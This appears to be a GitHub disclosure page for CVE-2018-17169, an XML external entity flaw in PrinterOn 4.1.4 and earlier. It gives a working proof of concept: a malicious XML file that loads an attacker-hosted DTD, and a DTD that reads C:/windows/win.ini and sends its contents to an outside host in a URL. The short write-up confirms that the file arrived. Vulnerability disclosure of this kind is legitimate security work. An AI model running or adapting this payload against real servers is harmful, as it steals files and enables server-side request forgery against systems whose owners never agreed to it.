Skip to content
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Disclosures/CVE-2018-17169-XXE-PrinterON/
Disclosures/CVE-2018-17169-XXE-PrinterON/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 
 
 
 
 

CVE-2018-17169-XXE-PrinterON


An XML external entity (XXE) vulnerability in PrinterOn version 4.1.4 and lower allows remote authenticated users to read arbitrary files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request.
Malicious XML (local-dtd.xml):
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://192.168.1.136/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r> 
Malicious DTD (ev.xml):
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.1.136/?%data;'>">
We serve a malicious xml document to the printer:


We can see that our DTD (ev.xml) is being requested and processed. The external entity declared within the DTD file is resolved and C:/Windows/win.ini file from the server filesystem is being sent to us in a GET request within the url.